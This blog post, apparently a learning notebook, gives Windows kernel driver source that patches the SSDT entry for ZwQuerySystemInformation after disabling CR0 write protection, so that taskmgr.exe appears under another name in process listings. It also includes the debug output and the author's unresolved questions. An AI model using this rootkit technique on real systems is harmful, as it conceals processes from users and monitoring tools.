S.l.e!ep.¢%

像打了激速一样,以四倍的速度运转,开心的工作
简单、开放、平等的公司文化;尊重个性、自由与个人价值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

HOOK SSDT Hide Process (六)

Posted on 2009-10-26 19:10 S.l.e!ep.¢% 阅读(329) 评论(0)  编辑 收藏 引用 所属分类: RootKit
[资料] http://www.cppblog.com/sleepwom/archive/2009/10/24/99375.html

HOOK SSDT Hide Process (五)   R3 已经知道 ZwQuerySystemInformation 函数用来 enum 进程
那么现在看下 R0 的HOOK 函数实现先

从致是调用回 ntdll.dll  中的 ZwQuerySystemInformation 函数,取得返回值后,再把相关的数据过滤掉
编译后运行有问题,于是乎对程序作了一下修改,主要改了 MyZwQuerySystemInformation 函数
在判断到进程的名字是 taskmgr.exe 就把它改为 haha

#include "ssdthook.h"

#pragma  pack(
1)

typedef 
struct _SSDT_TABLE
{
  PVOID   ServiceTableBase;
  PULONG  ServiceCounterTableBase;
  ULONG   NumberOfService;
  ULONG   ParamTableBase;
}SSDT_TABLE,
* PSSDT_TABLE;
#pragma pack()

struct _SYSTEM_THREADS
{
  LARGE_INTEGER           KernelTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           CreateTime;
  ULONG                           WaitTime;
  PVOID                           StartAddress;
  CLIENT_ID                       ClientIs;
  KPRIORITY                       Priority;
  KPRIORITY                       BasePriority;
  ULONG                           ContextSwitchCount;
  ULONG                           ThreadState;
  KWAIT_REASON            WaitReason;
};


//===================================================
struct _SYSTEM_PROCESSES
{
  ULONG                           NextEntryDelta;
  ULONG                           ThreadCount;
  ULONG                           Reserved[
6];
  LARGE_INTEGER           CreateTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           KernelTime;
  UNICODE_STRING          ProcessName;
  KPRIORITY                       BasePriority;
  ULONG                           ProcessId;
  ULONG                           InheritedFromProcessId;
  ULONG                           HandleCount;
  ULONG                           Reserved2[
2];
  VM_COUNTERS                     VmCounters;
  IO_COUNTERS                     IoCounters; 
//windows 2000 only
  struct _SYSTEM_THREADS          Threads[1];
};

struct _SYSTEM_PROCESSOR_TIMES
{
   LARGE_INTEGER          IdleTime;
   LARGE_INTEGER          KernelTime;
   LARGE_INTEGER          UserTime;
   LARGE_INTEGER          DpcTime;
   LARGE_INTEGER          InterruptTime;
   ULONG              InterruptCount;
};

//======================================================
typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
   IN ULONG SystemInformationClass, 
   IN PVOID SystemInformation, 
   IN ULONG SystemInformationLength, 
   OUT PULONG ReturnLength);

NTSTATUS MyZwQuerySystemInformation( 
   IN ULONG SystemInformationClass, 
   IN PVOID SystemInformation, 
   IN ULONG SystemInformationLength, 
   OUT PULONG ReturnLength);

//定义全局变量
extern "C" extern PSSDT_TABLE  KeServiceDescriptorTable;
ULONG  OldAddress;
ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
PVOID Base;

void UnHook();

VOID Unload (IN PDRIVER_OBJECT pDriverObject) 
{
        KdPrint((
"Enter DriverUnload\n"));
        UnHook();   
// mark

}

NTSTATUS MyZwQuerySystemInformation(IN ULONG SystemInformationClass, 
                                    IN PVOID SystemInformation, 
                                    IN ULONG SystemInformationLength, 
                                    OUT PULONG ReturnLength) 
//定义自己的Hook函数

    
    NTSTATUS rc; 
    UNICODE_STRING process_name;
    
    RtlInitUnicodeString(
&process_name, L"taskmgr.exe");
    
    rc 
= (OldZwQuerySystemInformation) ( 
        SystemInformationClass, 
        SystemInformation, 
        SystemInformationLength, 
        ReturnLength); 
    
    
if(NT_SUCCESS(rc)) 
    {
        
if(5 == SystemInformationClass)
        { 
            
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; 
            
            
while(curr)
            {
                
if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
                {
                                        DbgPrint(
"before %wZ\n",&process_name); 
                                        RtlInitUnicodeString(
&(curr->ProcessName), L"haha");                                          
                                        DbgPrint(
"after %wZ\n",&(curr->ProcessName)); 


                } 
// if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
                

                
if(curr->NextEntryDelta)
                    curr 
= (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta); 
                
else 
                    curr 
= NULL;

            } 
//while(curr)
            
        } 
// if(5 == SystemInformationClass)
        
    }
// if(NT_SUCCESS(rc))
    
    
// KdPrint(("HookZwQuerySystemInformation is Succeessfully. \n"));
    return rc;
}

VOID Hook()

{

        DbgPrint(
"Entry Hook()\n");
        OldAddress 
=(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反汇编查到zwquerysysteminformationde的ID号是0xADh
        DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
        
//保存原来函数的地址
        OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
        DbgPrint(
"OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation);
        DbgPrint(
"MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation);
        
        
//取消内存写保护
        _asm
        { 
        cli
        mov  eax,cr0
        and  eax,not 10000h
        mov  cr0,eax
        }

        
*(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;       //mark   MyZwQuerySystemInformation;
        
        
//还原内存写保护
        _asm
        {
        mov  eax,cr0
        or   eax,10000h
        mov  cr0,eax 
        sti
        }
}

void UnHook()
{
  ULONG  Address;

  Address 
=(ULONG) KeServiceDescriptorTable->ServiceTableBase +0xAD*4;

  __asm
  {
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }

  
*(ULONG*)Address =(ULONG) OldZwQuerySystemInformation;

  __asm
  {  
    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
  }

  DbgPrint(
"Unhook leave!\n");
}

//========================驱动入口函数
extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT  pDriverObject, IN PUNICODE_STRING  pRegistryPath)
{

  DbgPrint(
"Entry Hook Function!\n");
  pDriverObject
->DriverUnload = Unload;
  Hook();
  DbgPrint(
"Leave DriverEntry!\n");
  
return STATUS_SUCCESS;

运行后, 事与愿违, 并没有显示 haha, 而是显示为空
用 DebugView 显示调试信息

Entry Hook Function!
Entry Hook()
KeServiceDescriptorTable
->ServiceTableBase is :0x804e2d20
OldZwQuerySystemInformation 
is :0x8057cc27
MyZwQuerySystemInformation 
is :0xf8ed4080
Leave DriverEntry
!
before taskmgr.exe
after haha

Q:为何在 taskmgr.exe 中会显示为空?疑问中
采用 HOOK SSDT Hide Process (五) 
 中的程序跟踪发现,taskmgr.exe 的 imagename.buffer 的地址居然是 0xb049480
这个地址显然不是应用层的地址,后果然后是不让访问了

于是改成用 memcpy

DbgPrint("before 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
//RtlInitUnicodeString(&(curr->ProcessName), L"fdsf");
memcpy(curr->ProcessName.Buffer, L"_root_", 12);
DbgPrint("after 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));

结果,运行成功
taskmgr.exe 的 imagename 被成功修改为 _root_r.exe

产生新的问题:
Q:  RtlInitUnicodeString 对 UNICODE_STRING 赋值是会同时分配缓冲区的空间?这一点查了MSDN,没看到有相关的说明
需要找时间去验证下
A:  RtlInitUnicodeString() 这个函数它并不是直接去修改内存,而是重新分配一段缓冲区,而这段缓冲区在离开函数后就无效了
      而用户传进来的 SystemInformation 指针,是一段连续的内存空间


Q:   用户区传进来的
SystemInformation 指针,是一段连续的内存空间,也就是说, 如果修改了 IMAGENAME 的内容,导致
原来 UNICODE_STRING.buffer 不足的话,那么需要把后面的 SystemInformation 都往后移?(这一点也需要找时间验证下)
比较保险的做法是,先执行系统的 ZwQuerySytemInformation 后,先把所有的 SystemInformation 都读出来,然后再分别写到
用户传进来的 SystemInformation  缓冲区。
A: 这个尝试过,不过蓝屏,需要找时间再仔细研究下

只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理